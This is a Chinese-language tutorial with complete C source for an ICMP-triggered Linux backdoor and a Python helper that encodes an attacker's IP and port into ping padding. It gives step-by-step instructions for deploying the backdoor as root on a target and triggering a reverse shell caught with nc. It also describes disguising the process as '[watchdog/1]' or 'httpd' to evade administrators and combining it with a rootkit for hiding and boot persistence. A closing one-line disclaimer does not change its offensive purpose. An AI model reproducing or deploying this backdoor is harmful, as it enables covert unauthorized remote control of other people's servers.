ping-backdoor使用,配合Rootkit使用效果更佳

#使用方法:
1.把下列代码复制到目标机器中,保存名为 ping-backdoor.c

2.使用gcc编译
●gcc -static -o ping-backdoor ping-backdoor.c
●strip ping-backdoor
注:如果这一步出现错误,可以尝试安装静态编译解决 yum install glibc-static

3.在目标机器中运行,要以root权限开启后门
●./ping-backdoor

4.在接收反弹的电脑上使用magic.py生成范本数据包,用来ping的时候填充,促发反弹
●python3 magic.py reverse_ip reverse_port //类似这样 ac1f07931a0a2a7e

5.在反弹的电脑上开启nc监听
●nc -lvvp reverse_port //要和使用magic.py时候填写的端口一致

6.在反弹的电脑上ping 带有后门的主机
●ping -c 1 -p ac1f07931a0a2a7e 目标机器ip
注:需要注意的地方是,ping的时候一定要加参数 -c 而且是1,也就是ping一次,要不然会不停的反弹shell出来。-p 是设置ping的时候填满数据包的范本样式,也就是用magic.py生成的,不能弄错。错了反弹不出来.

7.反弹出来之后,看着shell不舒服可以执行一下
●python -c ‘import pty; pty.spawn(“/bin/bash”)’ //伪正式shell,ctrl+c会中断

以上就是完整的步骤,现在说明一下使用过程中,你可能存在的疑惑:
1.在目标机器上开启后门后,即执行了 ./ping-backdoor 后,ps -ef 是看不到这个进程的,也不会启动任何端口监听,即netstat -lanputo 是看不到任何相关端口的

2.当你ping了之后,反弹回来,就会开启一个端口和反弹的机器通讯,在通讯过程中,如果管理员刚好在线,并执行了ps -ef 能看到的进程名字是httpd,这个可以在ping-backdoor.c 代码里修改 SHELLNAME 宏定义变量名为目标常出现的进程即可,具有迷惑性就行。

3.当你断开了反弹回来的shell之后,目标机器httpd进程会自动结束,通讯的端口会自动消失,即ps -ef 看不到相关进程,netstat -lanputo 也看不到通讯端口,当然,再次ping的时候还是可以反弹shell回来的,因为后门还在。所以只有在通讯的时候才会出现相关信息。运气没背到家的话,应该是不会被管理员正好发现的….。

4.当然可以结合某些Rootkit隐藏文件功能,将这个后门文件隐藏,并作为开机启动处理即可。弊端就是,遇到内网机器还需要打通道,有点蛋疼。

5.切勿使用此后门做非法的事情 (这句话可能是个废话)

以下是ping-backdoor.c 代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>


/* 自定义部分 */
#define MAGIC1		0x2a
#define MAGIC2		0x7e
#define SHELLNAME	"httpd"
#define PARENTNAME      "[watchdog/1]"
#define SHELL		"/bin/bash"


int main(int argc, char *argv[]) {
  int			s;
  int			c;
  int			n;
  char			buf[1024];
  unsigned char		ip[4];
  char			ipstr[15];
  unsigned char		portstr[2];
  unsigned short	port;
  struct sockaddr_in	shell;
  struct ip             *iphdr;
  struct icmphdr        *icmphdr;
  unsigned int          offset;


  /* rename argv[0] to disguise ourselves from wack sysadmins */
  if (strlen(argv[0]) >= strlen(PARENTNAME)) {
    memset(argv[0], '\0', strlen(argv[0]));
    strcpy(argv[0], PARENTNAME);
  }

  /* Reap child processes */
  signal(SIGCHLD, SIG_IGN);

  s = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
  if (s == -1) {
    fprintf(stderr, "socket(): %s\n", strerror(errno));
    return EXIT_FAILURE;
  }

  /* ip header(20) + icmp header(8) + timestamp(8) + 8 bytes added by ping */
  offset = sizeof(struct ip) + sizeof(icmphdr) + 8 + 8;

  for (;;) {
    memset(buf, 0, sizeof(buf));

    n = recv(s, buf, sizeof(buf), 0);
    // TODO: white/blacklists
    iphdr = (struct ip *)buf;
    // TODO: only act on echo requests
    icmphdr = (struct icmphdr *)(buf + sizeof(struct ip));

    if (n > 51) {
      /* Check for magic bytes */
      if (buf[offset + 6] != MAGIC1 || buf[offset + 7] != MAGIC2)
	continue;

      ip[0] = buf[offset];
      ip[1] = buf[offset + 1];
      ip[2] = buf[offset + 2];
      ip[3] = buf[offset + 3];

      portstr[0] = buf[offset + 4];
      portstr[1] = buf[offset + 5];

      port = portstr[0] << 8 | portstr[1];
      sprintf(ipstr, "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);

      if (fork() == 0) {
        // TODO: other payloads
        //  - bind shell
        //  - execute arbitrary commands

	/* Fairly standard reverse shell */
	shell.sin_family = AF_INET;
	shell.sin_port = htons(port);
	shell.sin_addr.s_addr = inet_addr(ipstr);

	c = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
	connect(c, (struct sockaddr *)&shell, sizeof(shell));

	dup2(c, STDERR_FILENO);
	dup2(c, STDOUT_FILENO);
	dup2(c, STDIN_FILENO);

	execl(SHELL, SHELLNAME, NULL);
      }
    }
  }

  return EXIT_SUCCESS;
}

以下是magic.py内容:

#!/usr/bin/env python3
import os
import sys
import socket
try:
    ip_address = sys.argv[1]
    port = sys.argv[2]
    magic = "2a7e" if len(sys.argv) != 4 else sys.argv[3]
except IndexError:
    print("usage: %s <reverse_ip> <reverse_port> [magic]")
    exit(os.EX_USAGE)
print(socket.inet_aton(ip_address).hex() + hex(int(port))[2:].zfill(4) + magic)